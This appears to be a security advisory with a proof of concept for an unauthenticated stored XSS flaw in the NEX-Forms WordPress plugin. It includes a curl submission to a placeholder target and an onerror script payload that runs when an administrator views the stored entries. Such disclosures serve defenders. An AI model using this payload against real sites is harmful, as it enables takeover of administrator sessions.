NEX-Forms < 9.2.3 – Unauthenticated Stored XSS via Form Submission | CVE 2026-10525

Description

The plugin does not sanitise and escape some submitted form data before storing it and outputting it back in the admin dashboard, leading to a Stored Cross-Site Scripting vulnerability which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks against high privilege users such as administrators when they view the submitted entries.

Proof of Concept

## Prerequisites
- NEX-Forms active with at least one published form (e.g. form ID 1) containing a text field.

## Step 1 - Submit the payload (unauthenticated)
Submit the form with a JavaScript payload in one of the fields. No authentication, nonce or CSRF token is required:

```
curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=submit_nex_form" \
  --data "nex_forms_Id=1" \
  --data "email=attacker@evil.com" \
  --data "payload[]=<img src=x onerror=alert(document.domain)>"
```

The response contains a hidden `nf_entry_id` input, confirming the entry was stored. The payload is saved verbatim, without HTML sanitisation.

## Step 2 - Trigger the XSS (as administrator)
Log in to wp-admin, open NEX-Forms > Form Entries, and open the entries for the affected form. When the injected entry is rendered, the stored payload executes in the administrator's browser session:

```
<img src=x onerror=alert(document.domain)>
```

`alert(document.domain)` fires automatically on render, with no further interaction required.